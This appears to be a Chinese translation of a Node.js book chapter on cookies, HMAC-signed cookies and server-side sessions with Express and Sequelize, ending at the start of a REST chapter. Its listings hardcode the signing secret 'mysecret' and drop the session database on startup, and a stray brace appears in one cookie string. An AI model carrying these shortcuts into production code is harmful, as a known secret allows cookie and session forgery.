自从创建这种类型的 cookie 以来,浏览器已经发生了变化,应该避免使用会话 cookie,因为让浏览器决定何时使 cookie 无效可能会产生意外的结果,并且 cookie 可以有很长且不可预测的生命周期,尤其是在浏览器允许用户在关闭后很久重新打开浏览器标签的情况下。cookie 应始终使用 ExpiresMax-Age 属性赋予一个固定的生命周期。

浏览器使用 Cookie 头部包含 cookie,该头部包含一个或多个由分号(; 字符)分隔的 name=value 对。与 Set-Cookie 头部一起使用的属性不包括在内,因此头部看起来像这样:

...
Cookie: user=Alice; otherCookie=othervalue
... 

列表 13.3 定义了一个解析头部并提取单个 cookie 的函数。还有一个解析 JSON cookie 值的方法。

列表 13.3:在 src/server 文件夹中的 cookies.ts 文件中解析 cookie

**import { IncomingMessage, ServerResponse } from "http";**
const setheaderName = "Set-Cookie";
export const setCookie = (resp: ServerResponse, name: string, 
        val: string) => {
    let cookieVal: any[] = [`${name}=${val}; Max-Age=300; SameSite=Strict }`];   
    if (resp.hasHeader(setheaderName)) {
        cookieVal.push(resp.getHeader(setheaderName));
    }
    resp.setHeader("Set-Cookie", cookieVal);   
}
export const setJsonCookie = (resp: ServerResponse, name: string,
        val: any) => {
    setCookie(resp, name, JSON.stringify(val));
}
**export const getCookie = (req: IncomingMessage,**
 **key: string): string | undefined** **=> {**
 **let result: string | undefined = undefined;**
 **req.headersDistinct["cookie"]?.forEach(header => {**
 **header.split****(";").forEach(cookie => {**
 **const { name, val }**
 **= /^(?<name>.*)=(?<val>.*)$/.exec(cookie)?.groups as any;**
 **if (name.****trim() === key) {**
 **result = val;**
 **}**
 **})**
 **});**
 **return result;**
**}**
**export const getJsonCookie = (req: IncomingMessage, key: string) : any => {**
 **const cookie = getCookie****(req, key);**
 **return cookie ? JSON.parse(cookie) : undefined;**
**}** 

getCookie 函数使用 JavaScript 字符串处理和正则表达式功能来拆分 cookie 字符串并获取名称和值以定位特定的 cookie。这不是一个高效的方法,因为每次请求 cookie 时都会处理 cookie 头部,但它确实展示了如何处理头部,并且将在本章后面进行改进。

列表 13.4 更新了处理 /form 请求的代码,以设置一个跟踪用户请求的 cookie。每次接收到新的请求时,cookie 的内容都会更新,并且从每个请求中读取 cookie 的值并将其添加到传递给用于生成响应的模板的上下文数据中。

列表 13.4:在 src/server 文件夹中的 forms.ts 文件中使用 cookie

import express, { Express } from "express";
import repository  from "./data";
**import { getJsonCookie, setJsonCookie } from "./cookies";**
const rowLimit = 10;
export const registerFormMiddleware = (app: Express) => {
    app.use(express.urlencoded({extended: true}))
}
export const registerFormRoutes = (app: Express) => {
    app.get("/form", async (req, resp) => {
        resp.render("age", {
            history: await repository.getAllResults(rowLimit),
           ** personalHistory: getJsonCookie(req, "personalHistory")**
        });
    });
    app.post("/form", async (req, resp) => {
        const nextage = Number.parseInt(req.body.age)
            + Number.parseInt(req.body.years);
        await repository.saveResult({...req.body, nextage });
        **let pHistory = [{**
 **name: req.body.name, age: req.body.age,**
 **years: req.body.****years, nextage},**
 **...(getJsonCookie(req, "personalHistory") || [])].splice(0, 5);**

 **setJsonCookie(resp, "personalHistory", pHistory);**

 **const context = {**
 **...req.body, nextage,**
**history: await repository.getAllResults(rowLimit),**
 **personalHistory: pHistory**
        };
        resp.render("age", context);  
    });
} 

cookie 用于存储为用户创建的最后五个结果。每个新的 POST 请求都会在响应中创建一个新的 Set-Cookie 头部,具有新的五分钟过期时间。如果用户继续提交请求,将创建新的 cookie,从而有效地延长用户的会话。如果在 cookie 过期之前没有提交请求,则浏览器将丢弃该 cookie,并且不会将其包含在未来的请求中。

列表 13.5 更新了显示最近查询的部分视图,以便在可用时显示个人历史记录。

列表 13.5:在 templates/serve/partials 文件夹中的 history.handlebars 文件中显示数据

**{{#if personalHistory }}**
 **<h4>Your History</h4>**
 **<table class="table table-sm table-striped my-2">**
 **{{#each personalHistory }}**
 **<tr>**
 **<td>{{ this.name }} </td>**
 **<td>{{ this.age }} </td>**
 **<td****>{{ this.years }} </td>**
 **<td>{{ this.nextage }} </td>**
 **</tr>**
 **{{/each }}**
 **</table>**
**{{/if }}**
<h4>Recent Queries</h4>
<table class="table table-sm table-striped my-2">
    <thead>
        <tr>
            <th>Name</th><th>Age</th><th>Years</th><th>Result</th>
        </tr>
    </thead>
    <tbody>
        {{#unless history }}
            <tr><td colspan="4">No data available</td></tr>
        {{/unless }}
        {{#each history }}
            <tr>
                <td>{{ this.name }} </td>
                <td>{{ this.age }} </td>
                <td>{{ this.years }} </td>
                <td>{{ this.nextage }} </td>
            </tr>
        {{/each }}
    </tbody>
</table> 

浏览器在标签页之间共享 cookie,因此测试示例更改的最可靠方法是打开一个常规浏览器标签页和一个私密或隐身浏览标签页。使用两个标签页导航到http://localhost:5000,并使用相同的名称但不同的年龄和年份填写表单。提交表单后,您将看到每个浏览器标签页都有自己的历史记录,如图13.3所示。

图片

图 13.3:使用 cookie 关联请求

用户可以更改 cookie 的内容,浏览器使得添加、删除和修改 cookie 变得容易。例如,Chrome 的 F12 开发者工具允许在应用/cookie面板中编辑 cookie。

这意味着除非可以验证其内容以确保它们没有被篡改,否则不能信任 cookie。将名为cookies_signed.ts的文件添加到src/server文件夹中,内容如列表 13.6所示。

列表 13.6:src/server 文件夹中 cookies_signed.ts 文件的内容

import { createHmac, timingSafeEqual } from "crypto";
export const signCookie = (value: string, secret: string) => {
    return value + "." + createHmac("sha512", secret)
        .update(value).digest("base64url");
}
export const validateCookie = (value: string, secret: string) => {
    const cookieValue = value.split(".")[0];
    const compareBuf = Buffer.from(signCookie(cookieValue, secret));
    const candidateBuf = Buffer.from(value);
    if (compareBuf.length == candidateBuf.length &&
        timingSafeEqual(compareBuf, candidateBuf)) {
            return cookieValue;
    }
    return undefined;
} 

Node.js 在crypto模块中提供了一个全面的加密 API,其中包括对基于哈希的消息认证码(HMAC)的支持,这些哈希码是使用密钥创建的,可以用来验证数据。列表 13.6中的signCookie函数使用 Node.js API 创建一个可以用于 cookie 值的哈希码。

使用SHA-512算法和密钥创建哈希码生成器,createHmac函数如下:

...
**createHmac("****sha512", secret)**.update(value).digest("base64url");
... 

update 方法用于将哈希算法应用于 cookie 值,而digest方法返回的哈希码以Base64 URL 编码形式呈现,这使得哈希码可以安全地包含在 cookie 中。结果是数据值,后面跟着一个点,然后是哈希码,其形式如下:

...
myCookieData.hn5jneGWS_oBL7ww5IHZm9KuzfUwWnnDz01vhNc5xNMwb-kQnxb357Tp
... 

实际的哈希码更长,但重要的是 cookie 值没有被加密,用户仍然可以看到它。用户仍然可以编辑 cookie,但哈希码允许检测这些更改。

当 cookie 提交时,validateCookie方法为 cookie 值生成一个新的哈希码,并将其与 cookie 中接收到的哈希码进行比较。哈希码是单向的,这意味着通过为包含在 HTTP 请求中的 cookie 值生成新的哈希码并与之前的哈希码进行比较来验证。

Node.js 的crypto模块提供了timingSafeEqual函数,该函数执行两个由两个哈希码创建的Buffer对象之间的字节对字节比较。

用户可能能够修改 cookie 的值,但没有生成修改值的有效哈希码所需的密钥。如果从请求中接收到的哈希码不匹配,cookie 数据将被丢弃。列表 13.7 更新了 setCookiegetCookie 函数,以便应用程序创建的所有 cookie 都被签名。

注意

请注意不要将密钥提交到公共源代码仓库,如 GitHub。一种方法是在 .env 文件中定义敏感数据,这些文件可以从代码提交中排除。参见本书的 第三部分 以了解使用此类配置文件的示例。

列表 13.7:在 src/server 文件夹中的 cookies.ts 文件中签名 cookie

import { IncomingMessage, ServerResponse } from "http";
**import { signCookie, validateCookie } from "./cookies_signed";**
const setheaderName = "Set-Cookie";
**const cookieSecret = "mysecret";**
export const setCookie = (resp: ServerResponse, name: string, 
        val: string) => {
    **const signedCookieVal = signCookie(val, cookieSecret);**
 **let** **cookieVal: any[] =**
 **[`${name}=${signedCookieVal}; Max-Age=300; SameSite=Strict`];**         
    if (resp.hasHeader(setheaderName)) {
        cookieVal.push(resp.getHeader(setheaderName));
    }
    resp.setHeader("Set-Cookie", cookieVal);   
}
export const setJsonCookie = (resp: ServerResponse, name: string,
        val: any) => {
    setCookie(resp, name, JSON.stringify(val));
}
export const getCookie = (req: IncomingMessage,
        key: string): string | undefined => {
    let result: string | undefined = undefined;
    req.headersDistinct["cookie"]?.forEach(header => {
        header.split(";").forEach(cookie => {
            const { name, val }
                = /^(?<name>.*)=(?<val>.*)$/.exec(cookie)?.groups as any;
            if (name.trim() === key) {
                **result = validateCookie(val, cookieSecret);**
            }
        })
    });
    return result;
}
export const getJsonCookie = (req: IncomingMessage, key: string) : any => {
    const cookie = getCookie(req, key);
    return cookie ? JSON.parse(cookie) : undefined;
} 

应用程序的行为没有变化,但如果你使用浏览器的开发者工具修改一个 cookie,你会发现当浏览器发送请求时,它会被忽略。

之前的示例不仅演示了如何使用 Set-CookieCookie 头部,还显示了直接与 cookie 一起工作可能会很尴尬。Express 包括解析 cookie、生成 JSON 和签名 cookie 的支持,无需手动格式化或解析头部。

使用中间件组件解析 cookies.cpp,该组件不包括在主要的 Express 包中。在 part2app 文件夹中运行 列表 13.8 中显示的命令以安装解析包及其 TypeScript API 描述。

列表 13.8:安装 cookie 中间件包

npm install cookie-parser@1.4.6
npm install --save-dev @types/cookie-parser@1.4.6 

列表 13.9 启用了 cookie 解析中间件并指定了将用于签名 cookie 的密钥。

列表 13.9:在 src/server 文件夹中的 forms.ts 文件中应用中间件

import express, { Express } from "express";
import repository  from "./data";
import { getJsonCookie, setJsonCookie } from "./cookies";
**import cookieMiddleware from "cookie-parser"****;**
const rowLimit = 10;
export const registerFormMiddleware = (app: Express) => {
    app.use(express.urlencoded({extended: true}));
    **app.use(cookieMiddleware("mysecret"));**
}
export const registerFormRoutes = (app: Express) => {
    // ...statements omitted for brevity...
} 

中间件为常规 cookie 填充 Request 对象的 cookies 属性,为签名 cookie 填充 signedCookies 属性。cookie 是通过 Response 对象定义的 cookie 属性设置的。列表 13.10 使用这些功能生成应用程序所需的 cookie,并给 setCookie 方法添加了一个参数,以允许覆盖默认的 cookie 选项。

列表 13.10:在 src/server 文件夹中的 cookies.ts 文件中使用 Express cookie 功能

**//import { IncomingMessage, ServerResponse } from "http";**
**//import { signCookie, validateCookie } from "./cookies_signed";**
**import { CookieOptions****, Request, Response } from "express";**
**// const setheaderName = "Set-Cookie";**
**// const cookieSecret = "mysecret";**
**export const setCookie = (resp: Response, name: string,  val: string,**
 **opts?: CookieOptions) => {**
 **resp.****cookie(name, val, {**
 **maxAge: 300 * 1000,**
 **sameSite: "strict",**
 **signed: true,**
 **...opts**
 **});**
**}**
export const setJsonCookie = (resp: Response, name: string, val: any) => {;
    **setCookie(resp, name, JSON.stringify(val));**
}
export const getCookie = (req: Request, key: string): string | undefined => {
    **return req.signedCookies[key];**
}
export const getJsonCookie = (req: Request, key: string) : any => {
    **const cookie = getCookie(req, key);**
 **return cookie ? JSON.parse(cookie) : undefined;**
} 

Express 和 cookie 中间件负责在响应中创建 Set-Cookie 头部以及在请求中解析 Cookie 头部。Response.cookie 方法用于创建 cookie,它接受一个名称、一个值和一个配置对象。配置对象具有与 表 13.3 中描述的 cookie 属性相对应的属性,尽管有一些奇怪之处。例如,maxAge 配置是以毫秒为单位指定的,而不是 Max-Age 属性所使用的秒(这就是为什么 列表 13.10 中的值乘以 1,000 的原因)。

cookie方法接受的配置对象支持一个signed属性,该属性启用 cookie 签名。密钥是从设置 cookie 中间件时使用的配置中获得的,这又是一个奇怪之处,但仍然有效。与自定义代码类似,使用 HMAC 对 cookie 进行签名。

请求中接收到的 cookie 通过Request.cookiesRequest.signedCookies属性可用,这些属性返回的对象的属性对应于请求中 cookie 的名称。签名 cookie 很容易检测,因为Response.cookie方法使用前缀s.创建签名 cookie 值,并且使用与中间件配置的密钥自动验证这些值。

清单 13.10中的更改不会改变应用程序的行为,但 cookie 的格式不同,使用自定义代码创建的 cookie 无法通过验证。

使用会话

Cookies 适合存储少量数据,但每次请求都必须将数据发送到应用程序,并且对数据的任何更改都必须签名并发送在响应中。

一种替代方案是让应用程序存储数据,并在 cookie 中仅包含对该数据的引用。这样可以在不将数据包含在每个请求和响应中的情况下存储更多数据。

会话数据可以存储为键/值对集合,这使得使用 JavaScript 对象表示数据变得容易。我将首先创建一个基于内存的会话系统,然后介绍使用数据库的持久化存储,通过仓库层使转换更容易。创建src/server/sessions文件夹,并向其中添加一个名为repository.ts的文件,其内容如清单 13.11所示。

清单 13.11:src/server/sessions 文件夹中 repository.ts 文件的内容

export type Session = {
    id: string,
    data: { [key: string]: any }
}
export interface SessionRepository {
    createSession() : Promise<Session>;
    getSession(id: string): Promise<Session | undefined>;
    saveSession(session: Session, expires: Date): Promise<void>;
    touchSession(session: Session, expires: Date) : Promise<void>
} 

SessionRepository接口定义了创建会话、检索先前存储的会话以及保存或更新会话的方法。Session类型定义了Session的最小要求,包括一个 ID 和一个可以分配任意数据(通过字符串值索引)的data属性。

要创建基于内存的接口实现,请将一个名为memory_repository.ts的文件添加到src/server/sessions文件夹中,其内容如清单 13.12所示。

清单 13.12:src/server/sessions 文件夹中 memory_repository.ts 文件的内容

import { Session, SessionRepository } from "./repository";
import { randomUUID } from "crypto";
type SessionWrapper = {
    session: Session,
    expires: Date
}
export class MemoryRepository implements SessionRepository {
    store = new Map<string, SessionWrapper>();

    async createSession(): Promise<Session> {
        return { id: randomUUID(), data: {} };
    }
    async getSession(id: string): Promise<Session | undefined> {
        const wrapper = this.store.get(id);
        if (wrapper && wrapper.expires > new Date(Date.now())) {
            return structuredClone(wrapper.session)
        }
    }
    async saveSession(session: Session, expires: Date): Promise<void> {
        this.store.set(session.id, { session, expires });
    }
    async touchSession(session: Session, expires: Date): Promise<void> {
        const wrapper = this.store.get(session.id);
        if (wrapper) {
            wrapper.expires = expires;
        }
    }
} 

Node.js 的crypto包定义了randomUUID函数,该函数生成适合用作会话 ID 的唯一 ID。其余的实现使用Map来存储Session对象,当读取时检查它们的过期情况。

值得注意的是,getSession方法不返回存储中的Session,而是创建一个新的对象,如下所示:

...
if (wrapper && wrapper.expires > new Date(Date.now())) {
    return **structuredClone**(wrapper.session)
}
... 

structuredClone 函数是标准 JavaScript API 的一部分,它创建一个对象的深拷贝。会话数据仅应在 POST 请求中修改,因为其他 HTTP 方法是幂等的,创建新对象使得丢弃因意外为其他 HTTP 方法所做的更改变得容易,这将在下一节中看到。这仅在将状态作为 JavaScript 对象存储时是一个问题,其中与请求关联的 Session 对象与存储中的对象相同。当会话数据存储在数据库中时不会出现这个问题。

创建会话中间件

在生成响应后需要存储会话,以便不会丢失对会话数据的任何更改,这可以通过创建一个 Express 中间件组件最简单地完成。将名为 middleware.ts 的文件添加到 src/server/sessions 文件夹中,内容如 列表 13.13 所示。

列表 13.13:src/server/sessions 文件夹中 middleware.ts 文件的内容

import { Request, Response, NextFunction } from "express";
import { SessionRepository, Session } from "./repository";
import { MemoryRepository } from "./memory_repository";
import { setCookie, getCookie } from "../cookies";
const session_cookie_name = "custom_session";
const expiry_seconds = 300;
const getExpiryDate = () => new Date(Date.now() + (expiry_seconds * 1_000));
export const customSessionMiddleware = () => {
    const repo: SessionRepository = new MemoryRepository();
    return async (req: Request, resp: Response, next: NextFunction) => {

        const id = getCookie(req, session_cookie_name);

        const session = (id ? await repo.getSession(id) : undefined)
                            ?? await repo.createSession();

        (req as any).session = session;
        setCookie(resp, session_cookie_name, session.id, {
            maxAge: expiry_seconds * 1000
        })
        resp.once("finish", async () => {
            if ( Object.keys(session.data).length > 0) {
                if (req.method == "POST") {
                    await repo.saveSession(session, getExpiryDate());
                } else {
                    await repo.touchSession(session, getExpiryDate());
                }
            }
        })

        next();
    }
} 

此中间件组件读取包含会话 ID 的 cookie,并使用它从存储库中获取会话,并通过添加名为 session 的属性将其与 Request 对象关联。如果没有 cookie,或者无法找到具有该 ID 的会话,则启动一个新的会话。

只有在响应生成并且确定不会进行进一步更改后,会话才能安全地存储。一旦响应完成,就会触发 finish 事件,并使用 once 方法来处理事件并存储会话。

会话仅存储在 HTTP POST 请求中,并且当属性已被分配给 data 对象时。对于其他 HTTP 方法,使用 touchSession 方法来延长会话过期时间,但会话数据不会存储。

在每次请求后更新会话过期时间会创建一个 滑动过期,这意味着会话可以无限期地保持有效。这是最常见的方法,因为它意味着会话在用户活跃期间有效,并在一段时间的不活跃后超时。

使用会话功能

中间件组件向请求添加 session 属性,但这不是标准 Express Request 类型的一部分,并且 TypeScript 编译器也不知道。有两种很好的方法可以解决这个问题:一个读取 session 属性的辅助函数或一个扩展 Express 提供的类型的新类型。将名为 session_helpers.ts 的文件添加到 src/server/sessions 文件夹中,内容如 列表 13.14 所示。

列表 13.14:src/server/sessions 文件夹中 session_helpers.ts 文件的内容

import { Request } from "express";
import { Session } from "./repository";
export const getSession = (req: Request): Session => (req as any).session;
declare global {
    module Express {
        interface Request {
            session: Session
        }
    }
} 

getSession 函数接收一个 Request 对象,并通过使用 as any 来绕过 TypeScript 类型检查,返回 session 属性。使用 declare 关键字告诉 TypeScript,Request 接口有一个额外的属性。

在这两种方法中,我更倾向于辅助函数,它可能没有那么优雅,但更容易理解,并且清楚地说明了如何获取Session对象。列表 13.15展示了如何将存储在 cookie 中的会话数据切换到使用会话仓库。

列表 13.15:src/server文件夹中forms.ts文件中使用会话仓库的内容

import express, { Express } from "express";
import repository  from "./data";
import { getJsonCookie, setJsonCookie } from "./cookies";
import cookieMiddleware from "cookie-parser";
**import { customSessionMiddleware } from "./sessions/middleware";**
**import { getSession } from "./sessions/session_helpers";**
const rowLimit = 10;
export const registerFormMiddleware = (app: Express) => {
    app.use(express.urlencoded({extended: true}))
    app.use(cookieMiddleware("mysecret"));
    **app.use(customSessionMiddleware());**
}
export const registerFormRoutes = (app: Express) => {
    app.get("/form", async (req, resp) => {
        resp.render("age", {
            history: await repository.getAllResults(rowLimit),
            **personalHistory: getSession(req).data.****personalHistory**
        });
    });
    app.post("/form", async (req, resp) => {
        const nextage = Number.parseInt(req.body.age)
            + Number.parseInt(req.body.years);
        await repository.saveResult({...req.body, nextage });
        **req.session.data.personalHistory = [{**
 **name: req.****body.name, age: req.body.age,**
 **years: req.body.years, nextage},**
 **...(req.session.data.****personalHistory || [])].splice(0, 5);**

        const context = {
            ...req.body, nextage,
            history: await repository.getAllResults(rowLimit),
           ** personalHistory: req.****session.data.personalHistory**
        };
        resp.render("age", context);  
    });
} 

这些更改使得会话中间件能够存储用户的历史记录,并使用新的会话功能。再次强调,应用程序的行为没有变化,因为用户看不到这些更改。当表单提交时,浏览器发送的 cookie 用于从仓库加载会话数据,这些数据用于响应,如图 13.4所示。

图 13.4:使用会话数据

在数据库中存储会话数据

在内存中存储会话数据是理解各个部分如何组合的好方法,但并不适合需要更多持久存储的真实项目。传统方法是将会话数据存储在数据库中,这确保了会话的持久性,并且允许存储大量会话而不会耗尽系统内存。

src/server/sessions文件夹中添加一个名为orm_models.ts的文件,内容如列表 13.16所示。

列表 13.16:src/server/sessions文件夹中orm_models.ts文件的内容

import { DataTypes, InferAttributes, InferCreationAttributes, Model,
    Sequelize } from "sequelize";
export class SessionModel extends Model<InferAttributes<SessionModel>,
        InferCreationAttributes<SessionModel>> {
    declare id: string
    declare data: any;
    declare expires: Date
}
export const initializeModel = (sequelize: Sequelize) => {
    SessionModel.init({
        id: { type: DataTypes.STRING, primaryKey: true },
        data: { type: DataTypes.JSON },
        expires: { type: DataTypes.DATE }
    }, { sequelize });
} 

单个模型类可以表示一个会话,由crypto.randomUUID函数生成的 ID 可以用作主键。Sequelize 对处理 JavaScript 日期有很好的支持,并且当列的类型为DataTypes.JSON时,会自动序列化和反序列化对象。要创建会话仓库,在src/server/sessions文件夹中添加一个名为orm_repository.ts的文件,内容如列表 13.17所示。

注意

列表 13.17中的initModelAndDatabase方法调用drop方法,每次应用程序启动或重启时都会重置数据库。在实际项目中不应这样做,但对于示例来说很有帮助,并确保代码文件中的任何更改都会反映在数据库中。

列表 13.17:src/server/sessions文件夹中orm_repository.ts文件的内容

import { Op, Sequelize } from "sequelize";
import { Session, SessionRepository } from "./repository";
import { SessionModel, initializeModel } from "./orm_models";
import { randomUUID } from "crypto";
export class OrmRepository implements SessionRepository {
    sequelize: Sequelize;
    constructor() {
        this.sequelize = new Sequelize({
            dialect: "sqlite",
            storage: "orm_sessions.db",
            logging: console.log,
            logQueryParameters: true
        });
        this.initModelAndDatabase();
    }

    async initModelAndDatabase() : Promise<void> {
        initializeModel(this.sequelize);
        await this.sequelize.drop();       
        await this.sequelize.sync();
    }
    async createSession(): Promise<Session> {
        return { id: randomUUID(), data: {} };
    }
    async getSession(id: string): Promise<Session | undefined> {
        const dbsession = await SessionModel.findOne({
            where: { id, expires: { [Op.gt] : new Date(Date.now()) }}
        });
        if (dbsession) {
            return { id, data: dbsession.data };
        }
    }
    async saveSession(session: Session, expires: Date): Promise<void> {
        await SessionModel.upsert({
            id: session.id,
            data: session.data,
            expires
        });
    }
    async touchSession(session: Session, expires: Date): Promise<void> {
        await SessionModel.update({ expires }, { where: { id: session.id } });
    }
} 

仓库与为应用程序数据创建的仓库类似,但有几个要点展示了像 Sequelize 这样的 ORM(对象关系映射)如何简化数据库操作,尽管 JavaScript 代码可能有些笨拙。getSession方法通过findOne方法和where表达式查询数据库,以找到具有给定主键和未来到期日期的行,如下所示:

...
const dbsession = await SessionModel.findOne({
    **where: { id, expires: { [Op.gt] : new** **Date(Date.now()) }}**
});
... 

Op.gt值表示大于的比较,允许搜索匹配expires列中存储的日期大于当前日期的行。这不是表达查询最自然的方式,但它有效,并且允许在不编写 SQL 的情况下表达查询。

Sequelize 的upsert方法用于在存在时更新数据行,不存在时插入一行,这使得实现saveSession方法变得容易。touchSession方法通过update方法实现,允许更新特定的列。

注意

我在本章中没有添加删除过期会话的支持。一般来说,我避免自动删除任何数据,因为出错的可能性很大。存储空间相对便宜,但如果需要积极管理会话数据库的大小,那么在手动清理之前进行备份是一个更安全的选项。

最后一步是将会话中间件更新为使用新的存储库,如清单 13.18所示。

列表 13.18:在 src/server/sessions 文件夹中的 middleware.ts 文件中更改存储库

import { Request, Response, NextFunction } from "express";
import { SessionRepository, Session } from "./repository";
**//import { MemoryRepository } from "./memory_repository";**
import { setCookie, getCookie } from "../cookies";
i**mport { OrmRepository } from "****./orm_repository";**
const session_cookie_name = "custom_session";
const expiry_seconds = 300;
const getExpiryDate = () => new Date(Date.now() + (expiry_seconds * 1_000));
export const customSessionMiddleware = () => {
    **//const repo: SessionRepository = new MemoryRepository();**
 **const repo: SessionRepository =** **new OrmRepository();**
    return async (req: Request, resp: Response, next: NextFunction) => {

        // ...statements omitted for brevity...
    }
} 

使用数据库不需要进行其他更改,因为新存储库实现了与旧存储库相同的接口。

关键区别在于,你将看到在应用程序运行时,Node.js 控制台会记录数据库查询,从创建数据库表的语句开始:

...
Executing (default): CREATE TABLE IF NOT EXISTS `SessionModels` (`id` VARCHAR(255)
    PRIMARY KEY, `data` JSON, `expires` DATETIME, `createdAt` DATETIME NOT NULL,
    `updatedAt` DATETIME NOT NULL);
... 

准备或查询数据库不需要 SQL,创建和解析 JSON 的过程由系统自动处理。

使用会话包

现在你已经了解了会话的工作原理,是时候用现成的会话包替换自定义代码了,例如 Express 提供的包。在part2app文件夹中运行清单 13.19中显示的命令来安装会话包、其 API 的类型描述包以及使用 Sequelize 存储会话的包。(express-sessions 包有广泛的数据库选项,描述在github.com/expressjs/session)。

列表 13.19:安装包

npm install express-session@1.17.3
npm install connect-session-sequelize@7.1.7
npm install --save-dev @types/express-session@1.17.10 

清单 13.20为应用程序使用会话包和存储包做准备。

列表 13.20:在 src/server/sessions 文件夹中的 session_helpers.ts 文件中使用会话包

import { Request } from "express";
**//import { Session } from "./repository";**
**import session, { SessionData } from "express-session";**
**import sessionStore from "****connect-session-sequelize";**
**import { Sequelize } from "sequelize";**
**import { Result } from "../data/repository";**
**export** **const getSession = (req: Request): SessionData => (req as any).session;**
**// declare global {**
**//     module Express {**
**//         interface Request {**
**//             session: Session**
**//         }**
**//     }**
**// }**
**declare module "express-session" {**
 **interface** **SessionData {**
 **personalHistory: Result[];**
 **}**
**}**
**export const sessionMiddleware = () => {**
 **const sequelize = new Sequelize({**
 **dialect: "****sqlite",**
 **storage: "pkg_sessions.db"**
 **});**
 **const store = new (sessionStore(session.Store))({**
 **db: sequelize**
 **});**
 **store.sync();**
 **return** **session({**
 **secret: "mysecret",**
 **store: store,**
 **cookie: { maxAge: 300 * 1000, sameSite: "strict" },**
**resave: false, saveUninitialized: false**
 **})**
**}** 

使用该包需要调整,包括注释掉添加Request.session属性的declare语句,因为express-session包中已定义了类似的语句。

需要一个新的declare语句来向SessionData对象添加自定义属性,这是该包用来表示会话数据的类型。存在一个Session类型,但它与自定义代码使用的包装类型具有类似的作用。在这种情况下,已添加了一个personHistory属性,以最小化使用该包所需进行的更改。

sessionMiddleware函数创建一个使用 SQLite 的Sequelize对象,并使用它通过connect-session-sequelize包创建会话数据的存储。调用sync方法来初始化数据库,并使用express-session包的默认导出创建一个中间件组件。会话存储的配置选项在github.com/expressjs/session中描述,但列表 13.20中的配置指定了签名 Cookies 的密钥、Sequelize 存储和 cookie 设置,以便该包的行为与自定义代码相同。要使用会话包,需要进行一些小的更改,如列表 13.21所示。

注意

可以在同一个应用程序中使用cookie-parser包和express-session包,但必须确保两者都配置了相同的密钥。

列表 13.21:在 src/server 文件夹中的 forms.ts 文件中使用 session 包

import express, { Express } from "express";
import repository  from "./data";
import { getJsonCookie, setJsonCookie } from "./cookies";
import cookieMiddleware from "cookie-parser";
import { customSessionMiddleware } from "./sessions/middleware";
**import { getSession, sessionMiddleware } from "./sessions/session_helpers";**
const rowLimit = 10;
export const registerFormMiddleware = (app: Express) => {
    app.use(express.urlencoded({extended: true}))
    app.use(cookieMiddleware("mysecret"));
    **//app.use(customSessionMiddleware());**
 **app.use(sessionMiddleware());**
}
export const registerFormRoutes = (app: Express) => {
    app.get("/form", async (req, resp) => {
        resp.render("age", {
            history: await repository.getAllResults(rowLimit),
            **personalHistory: getSession(req).personalHistory**
        });
    });
    app.post("/form", async (req, resp) => {
        const nextage = Number.parseInt(req.body.age)
            + Number.parseInt(req.body.years);
        await repository.saveResult({...req.body, nextage });
        **req.session.personalHistory = [{**
            id: 0, name: req.body.name, age: req.body.age,
            years: req.body.years, nextage},
            ..**.(req.session.personalHistory || [])].splice(0, 5);**

        const context = {
            ...req.body, nextage,
            history: await repository.getAllResults(rowLimit),
            **personalHistory: req.session.personalHistory**
        };
        resp.render("age", context);  
    });
} 

这些更改替换了自定义中间件,并直接在由session属性返回的对象上读取personalHistory属性。用于存储会话的数据库模式不同,您可以在 Node.js 控制台输出的 SQL 语句中看到这一点,但除此之外,应用程序的行为保持不变。

摘要

在本章中,我解释了应用程序如何使用 Cookies 将 HTTP 请求关联起来,在无状态的协议上创建有状态的用户体验:

  • 通过在响应中添加Set-Cookie头创建 Cookies。

  • 浏览器在请求中包含 Cookies,使用Cookie头。

  • 使用 cookie 属性配置 Cookies,包括设置一个过期时间,在此之后,浏览器将不再在请求中包含该 cookie。

  • Cookies 可以被签名,这揭示了它们何时被更改。

  • Cookies 可以用来存储少量数据,但随后必须反复在浏览器和服务器之间传输这些数据。

  • Cookies 也可以用来存储会话 ID,这些 ID 用于加载服务器存储的数据。这使得服务器更加复杂,但意味着只有 ID 在浏览器和服务器之间传输。

在下一章中,我将描述如何使用 RESTful Web 服务提供数据给客户端,而不包括 HTML。

第十四章:创建 RESTful Web 服务

本章解释了如何使用 Node.js 创建通过 HTTP 请求提供数据访问的 Web 服务,这是单页应用(SPAs)的关键推动力。本章从基本的 Web 服务开始,然后引入更复杂的功能,如部分更新和数据验证。表 14.1 将本章置于上下文中。

表 14.1:将 RESTful Web 服务置于上下文中

问题 答案
它们是什么? RESTful Web 服务通过 HTTP 请求提供对数据的访问。服务器不是在 HTML 内容中嵌入数据,而是以“原始”数据的形式响应,通常为 JSON 格式。
为什么它们有用? Web 服务允许客户端使用 HTTP 请求执行数据操作,如查询或更新数据。这通常用于在浏览器中执行的 JavaScript 代码,尽管任何类型的客户端都可以消费 Web 服务。
如何使用它们? HTTP 请求方法/动词用于表示操作,而请求 URL 识别应执行操作的数据。
是否有陷阱或限制? 没有创建 Web 服务的标准方式,这导致它们的设计存在显著差异。
是否有替代方案? 大多数现代 Web 应用程序都需要某种形式的 Web 服务来向客户端 JavaScript 应用程序交付数据。尽管如此,对于纯粹往返且不需要支持客户端的应用程序,Web 服务不是必需的。

表 14.2 总结了本章内容。

表 14.2:本章总结

问题 解决方案 列表
定义 Web 服务 使用标准请求处理程序并返回 JSON 数据而不是 HTML。 9-15
整合创建 Web 服务所需的代码 将处理 HTTP 请求的代码分离,以便可以将数据处理代码隔离。 16-18, 43-45
使用 Web 服务更新数据 处理 PUTPATCH 请求。 19-26
描述复杂的数据更改 使用 JSON Patch 规范。 27-30
验证 Web 服务接收到的数据值 在将数据传递给处理数据的代码之前执行验证。 31-37
验证通过 Web 服务接收到的数据组合 执行模型验证。 38-41

准备本章内容

本章使用了 第十三章 中的 part2app 项目。本章的示例与一个简单的命令行客户端应用程序更容易理解,该应用程序发送 HTTP 请求并显示接收到的响应。为了准备,请在 part2app 文件夹中运行 列表 14.1 中显示的命令以安装 Inquirer 包 (github.com/SBoudrias/Inquirer.js),该包提供用于提示用户的特性。

提示

您可以从github.com/PacktPublishing/Mastering-Node.js-Web-Development下载本章的示例项目——以及本书所有其他章节的示例项目。查看第一章了解如果在运行示例时遇到问题如何获取帮助。

列表 14.1:安装包

npm install @inquirer/prompts@3.3.0 

src/cmdline文件夹中创建一个名为main.mjs的文件,并添加列表 14.2中显示的内容。.mjs文件扩展名告诉 Node.js 将此文件视为 JavaScript 模块,并允许使用import语句。

